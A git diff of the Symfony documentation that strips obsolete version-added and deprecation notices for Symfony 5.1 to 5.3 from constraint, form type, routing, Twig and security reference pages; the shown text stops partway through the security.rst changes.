diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index a39b6158a42..3b9fff537a6 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -111,10 +111,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index fa7aa926319..c3e6f3b2abe 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -148,8 +148,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 6fcd1e462ad..ddc52d34675 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -112,8 +112,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d1d4bb3e90d..8de7e8c6f1e 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -152,8 +152,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 265f21c3f64..e04f413e453 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -128,10 +128,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``isbn10Message``
@@ -151,10 +147,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``isbn13Message``
 ~~~~~~~~~~~~~~~~~
 
@@ -172,10 +164,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``message``
 ~~~~~~~~~~~
 
@@ -193,10 +181,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``type``
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 3efab915437..aa2c673ebb1 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -108,10 +108,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Securities Identification Number (ISIN)`: https://en.wikipedia.org/wiki/International_Securities_Identification_Number
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 3007f60a261..1f73c5bf8f0 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -118,10 +118,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``requireHyphen``
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 0d9522dc882..251b7cd222c 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -94,10 +94,6 @@ Options
 alpha3
 ~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``alpha3`` option was introduced in Symfony 5.1.
-
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
@@ -122,10 +118,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 0dd5e829aea..749242a7a4b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,8 +5,7 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
+Options     - `charset`_
             - `charsetMessage`_
             - `exactMessage`_
             - `groups`_
@@ -129,26 +128,6 @@ and ``50``, you might add the following:
 Options
 -------
 
-``allowEmptyString``
-~~~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean``  **default**: ``false``
-
-.. deprecated:: 5.2
-
-    The ``allowEmptyString`` option is deprecated since Symfony 5.2. If you
-    want to allow empty strings too, combine the ``Length`` constraint with
-    the :doc:`Blank constraint </reference/constraints/Blank>` inside the
-    :doc:`AtLeastOneOf constraint </reference/constraints/AtLeastOneOf>`.
-
-If set to ``true``, empty strings are considered valid (which is the same
-behavior as previous Symfony versions). The default ``false`` value considers
-empty strings not valid.
-
-.. caution::
-
-    This option does not have any effect when no minimum length is given.
-
 ``charset``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 936cfd24089..3ab2bfa27f0 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -125,10 +125,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 24eb9b91947..31afb4f92dc 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -117,10 +117,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`Luhn algorithm`: https://en.wikipedia.org/wiki/Luhn_algorithm
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 154294acf42..a4667b44e0f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -121,10 +121,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index ccf8839434d..c326ddfdaaa 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -110,8 +110,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 64d2ea6c0d4..b28588ba3ef 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -387,10 +387,6 @@ Options
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
-.. versionadded:: 5.2
-
-    The ``invalidDateTimeMessage`` option was introduced in Symfony 5.2.
-
 The message displayed when the ``min`` and ``max`` values are PHP datetimes but
 the given value is not.
 
@@ -419,10 +415,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``max``
 ~~~~~~~
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 565e62db5e6..0580dfecbd8 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -324,10 +324,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``pattern``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index da7bd16f4b2..f30bd2a4126 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -7,10 +7,6 @@ step-by-step, allowing to interrupt the validation once the first violation is r
 As an alternative in situations ``Sequentially`` cannot solve, you may consider
 using :doc:`GroupSequence </validation/sequence_provider>` which allows more control.
 
-.. versionadded:: 5.1
-
-    The ``Sequentially`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `constraints`_
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index fb8a9b337fb..813c5d24ce9 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -120,8 +120,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index e3b5a787150..ae1e45a17f3 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -139,10 +139,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``zone``
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 4efa0d9ec0b..b384a94ddf2 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -193,10 +193,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _reference-constraint-type-type:
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 92315089350..d145dbcc3f7 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -1,10 +1,6 @@
 ULID
 ====
 
-.. versionadded:: 5.2
-
-    The ULID validator was introduced in Symfony 5.2.
-
 Validates that a value is a valid `Universally Unique Lexicographically Sortable Identifier (ULID)`_.
 
 ==========  ===================================================================
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 6b6d363acf1..22a1277243f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -130,10 +130,6 @@ Parameter                      Description
 
 **type**: a `PHP callable`_ **default**: ``null``
 
-.. versionadded:: 5.3
-
-    The ``normalizer`` option was introduced in Symfony 5.3.
-
 This option defined the PHP callable applied to each element of the given
 collection before checking if the collection is valid.
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 13f08952b24..5b957d9055c 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -353,10 +353,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``repositoryMethod``
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 2d8922909c5..87c4061abb9 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -114,10 +114,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. configuration-block::
 
     .. code-block:: php-annotations
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 22b00c331c9..724718921ed 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -113,10 +113,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
@@ -151,10 +147,6 @@ The following PHP constants can also be used:
 
 All six versions are allowed by default.
 
-.. versionadded:: 5.2
-
-    The UUID 6 version support was introduced in Symfony 5.2.
-
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ad7d876523c..108e505e339 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -13,10 +13,6 @@ assets.package
 
 **Purpose**: Add an asset package to the application
 
-.. versionadded:: 5.3
-
-    The ``assets.package`` tag was introduced in Symfony 5.3.
-
 This is an alternative way to declare an :ref:`asset package <asset-packages>`.
 The name of the package is set in this order:
 
@@ -195,13 +191,6 @@ wrapping their names with ``%`` characters).
     sense most of the times to prevent accessing those services directly instead
     of using the generic service alias.
 
-.. versionadded:: 5.1
-
-    In Symfony versions prior to 5.1, you needed to manually add the
-    ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass``
-    compiler pass to the container for this feature to work. This compiler pass
-    is now added automatically.
-
 console.command
 ---------------
 
@@ -234,10 +223,6 @@ container.no_preload
 
 **Purpose**: Remove a class from the list of classes preloaded by PHP
 
-.. versionadded:: 5.1
-
-    The ``container.no_preload`` tag was introduced in Symfony 5.1.
-
 Add this tag to a service and its class won't be preloaded when using
 `PHP class preloading`_:
 
@@ -284,10 +269,6 @@ container.preload
 
 **Purpose**: Add some class to the list of classes preloaded by PHP
 
-.. versionadded:: 5.1
-
-    The ``container.preload`` tag was introduced in Symfony 5.1.
-
 When using `PHP class preloading`_, this tag allows you to define which PHP
 classes should be preloaded. This can improve performance by making some of the
 classes used by your service always available for all requests (until the server
@@ -515,12 +496,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
-If you don't need to preload anything, return an empty array
-
-.. deprecated:: 5.1
-
-    Not returning an array from the ``warmUp()`` method with the files to
-    preload is deprecated since Symfony 5.1.
+If you don't need to preload anything, return an empty array.
 
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index d01d90f262d..2c14806b707 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -188,11 +188,6 @@ To get fancier, use the `group_by`_ option instead.
 Field Options
 -------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class was
-    introduced in Symfony 5.1, to help configuring choices options.
-
 choices
 ~~~~~~~
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 6bbc28da2a7..0731edbecd4 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -57,10 +57,6 @@ html5
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-    This option was introduced in Symfony 5.1.
-
 When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 4ab06627214..3f3b93a53cb 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -88,12 +88,6 @@ is a constant on the :phpclass:`NumberFormatter` class:
   "nearest neighbor". If both neighbors are equidistant, round up. It rounds
   ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
 
-.. deprecated:: 5.1
-
-    In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
-    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
-
 Overridden Options
 ------------------
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index f74016d1a0c..658dfdc7b5b 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -85,10 +85,6 @@ choice_self_translation
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-    The ``choice_self_translation`` option was introduced in Symfony 5.1.
-
 By default, language names are translated into the current locale of the
 application. For example, when browsing the application in English, you'll get
 an array like ``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']``
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 162d8543b20..2fde165617b 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -99,10 +99,6 @@ html5
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.2
-
-    This option was introduced in Symfony 5.2.
-
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index d7563dc8a1c..b220d12fd1d 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -3,10 +3,6 @@
 
 **type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
-.. versionadded:: 5.1
-
-    The ``choice_filter`` option has been introduced in Symfony 5.1.
-
 When using predefined choice types from Symfony core or vendor libraries (i.e.
 :doc:`CountryType </reference/forms/types/country>`) this option lets you
 define a callable that takes each choice as the only argument and must return
diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc
index 5c969f7afce..4608c0a04dd 100644
--- a/reference/forms/types/options/extra_fields_message.rst.inc
+++ b/reference/forms/types/options/extra_fields_message.rst.inc
@@ -1,10 +1,6 @@
 ``extra_fields_message``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    Pluralization support was introduced in Symfony 5.1.
-
 **type**: ``string`` **default**: ``This form should not contain extra fields.``
 
 This is the validation error message that's used if the submitted form data
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index a87ad4ab6db..36f531a394d 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -3,10 +3,6 @@
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-	The ``label_html`` option was introduced in Symfony 5.1.
-
 By default, the contents of the ``label`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
 useful when the label contains HTML elements.
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
index 8f53a05c9ab..78bfccd87fb 100644
--- a/reference/forms/types/options/priority.rst.inc
+++ b/reference/forms/types/options/priority.rst.inc
@@ -3,10 +3,6 @@ priority
 
 **type**: ``integer`` **default**: ``0``
 
-.. versionadded:: 5.3
-
-    The ``priority`` option was introduced in Symfony 5.3.
-
 Fields are rendered in the same order as they are included in the form. This
 option changes the field rendering priority, allowing you to display fields
 earlier or later than their original order.
diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 525f5d99cdf..c1d9a0b52f4 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -30,9 +30,3 @@ on the :phpclass:`NumberFormatter` class:
 * ``\NumberFormatter::ROUND_HALFUP`` Round towards the
   "nearest neighbor". If both neighbors are equidistant, round up. It rounds
   ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
-
-.. deprecated:: 5.1
-
-    In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
-    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 36ffdcc1e1b..e6ffbd59939 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -57,19 +57,11 @@ Field Options
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
-.. versionadded:: 5.1
-
-    The ``rounding_mode`` option was introduced in Symfony 5.1.
-
 html5
 ~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.2
-
-    This option was introduced in Symfony 5.2.
-
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 26ffa1856e2..0951040b623 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -4,10 +4,6 @@
 UlidType Field
 ==============
 
-.. versionadded:: 5.3
-
-    The ``UlidType`` field was introduced in Symfony 5.3.
-
 Renders an input text field with the ULID string value and transforms it back to
 a proper :ref:`Ulid object <ulid>` when submitting the form.
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index dd478140ba9..a57041dcae0 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -4,10 +4,6 @@
 UuidType Field
 ==============
 
-.. versionadded:: 5.3
-
-    The ``UuidType`` field was introduced in Symfony 5.3.
-
 Renders an input text field with the UUID string value and transforms it back to
 a proper :ref:`Uuid object <uuid>` when submitting the form.
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e4991845096..7a915af5203 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -277,10 +277,6 @@ impersonation_exit_path
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``impersonation_exit_path()`` function was introduced in Symfony 5.2.
-
 Generates a URL that you can visit to exit :doc:`user impersonation </security/impersonating_user>`.
 After exiting impersonation, the user is redirected to the current URI. If you
 prefer to redirect to a different URI, define its value in the ``exitTo`` argument.
@@ -297,10 +293,6 @@ impersonation_exit_url
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``impersonation_exit_url()`` function was introduced in Symfony 5.2.
-
 It's similar to the `impersonation_exit_path`_ function, but it generates
 absolute URLs instead of relative URLs.
 
@@ -320,10 +312,6 @@ t
 ``domain`` *(optional)*
     **type**: ``string`` **default**: ``messages``
 
-.. versionadded:: 5.2
-
-    The ``t()`` function was introduced in Symfony 5.2.
-
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
@@ -382,10 +370,6 @@ trans
 ``locale`` *(optional)*
     **type**: ``string`` **default**: ``null``
 
-.. versionadded:: 5.2
-
-    ``message`` accepting ``Translatable`` as a valid type was introduced in Symfony 5.2.
-
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
@@ -574,10 +558,6 @@ serialize
 ``context`` *(optional)*
     **type**: ``array``
 
-.. versionadded:: 5.3
-
-    The ``serialize`` filter was introduced in Symfony 5.3.
-
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
diff --git a/routing.rst b/routing.rst
index eb3890d86de..8d0fe82322e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -35,12 +35,6 @@ once in your application to enable them:
 
     $ composer require doctrine/annotations
 
-.. versionadded:: 5.2
-
-    The ability to use PHP attributes to configure routes was introduced in
-    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
-    annotate controller actions with routing configuration.
-
 This command also creates the following configuration file:
 
 .. code-block:: yaml
@@ -178,11 +172,11 @@ the ``BlogController``:
             ;
         };
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the routes defined
-    in YAML format. If you define routes in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+    By default Symfony only loads the routes defined in YAML format. If you
+    define routes in XML and/or PHP formats, update the ``src/Kernel.php`` file
+    to add support for the ``.xml`` and ``.php`` file extensions.
 
 .. _routing-matching-http-methods:
 
@@ -999,10 +993,6 @@ parameter:
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``priority`` parameter was introduced in Symfony 5.1
-
 Symfony evaluates routes in the order they are defined. If the path of a route
 matches many different patterns, it might prevent other routes from being
 matched. In YAML and XML you can move the route definitions up or down in the
@@ -2070,11 +2060,6 @@ these routes.
     You can also use the inline defaults and requirements format in the
     ``host`` option: ``{subdomain<m|mobile>?m}.example.com``
 
-.. versionadded:: 5.2
-
-    Inline parameter default values support in hosts were introduced in
-    Symfony 5.2. Prior to Symfony 5.2, they were supported in the path only.
-
 .. _i18n-routing:
 
 Localized Routes (i18n)
@@ -2234,10 +2219,6 @@ Another common requirement is to host the website on a different domain
 according to the locale. This can be done by defining a different host for each
 locale.
 
-.. versionadded:: 5.1
-
-    The ability to define an array of hosts was introduced in Symfony 5.1.
-
 .. configuration-block::
 
     .. code-block:: yaml
@@ -2282,10 +2263,6 @@ locale.
 Stateless Routes
 ----------------
 
-.. versionadded:: 5.1
-
-    The ``stateless`` option was introduced in Symfony 5.1.
-
 Sometimes, when an HTTP response should be cached, it is important to ensure
 that can happen. However, whenever a session is started during a request,
 Symfony turns the response into a private non-cacheable response.
@@ -2576,10 +2553,6 @@ The solution is to configure the ``default_uri`` option to define the
             $framework->router()->defaultUri('https://example.org/my/path/');
         };
 
-.. versionadded:: 5.1
-
-    The ``default_uri`` option was introduced in Symfony 5.1.
-
 Now you'll get the expected results when generating URLs in your commands::
 
     // src/Command/SomeCommand.php
diff --git a/security.rst b/security.rst
index 905d14f7d23..4677666c092 100644
--- a/security.rst
+++ b/security.rst
@@ -221,7 +221,7 @@ command will pre-configure this for you:
                 # use your user class name here
                 App\Entity\User:
                     # Use native password hasher, which auto-selects the best
-                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                    # possible hashing algorithm (which currently is "bcrypt")
                     algorithm: auto
 
     .. code-block:: xml
@@ -263,11 +263,6 @@ command will pre-configure this for you:
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
-    versions it was called ``encoders``.
-
 Now that Symfony knows *how* you want to hash the passwords, you can use the
 ``UserPasswordHasherInterface`` service to do this before saving your users to
 the database.
@@ -329,11 +324,6 @@ You can manually hash a password by running:
 3a) Authentication & Firewalls
 ------------------------------
 
-.. versionadded:: 5.1
-
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
-
 The security system is configured in ``config/packages/security.yaml``. The *most*
 important section is ``firewalls``:
 
@@ -478,10 +468,6 @@ here are a few common use-cases:
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    Login throttling was introduced in Symfony 5.2.
-
 Symfony provides basic protection against `brute force login attacks`_ if
 you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
 You must enable this using the ``login_throttling`` setting:
@@ -574,10 +560,6 @@ You must enable this using the ``login_throttling`` setting:
                     ->maxAttempts(3);
         };
 
-.. versionadded:: 5.3
-
-    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
-
 By default, login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
@@ -1094,11 +1076,6 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
-.. versionadded:: 5.1
-
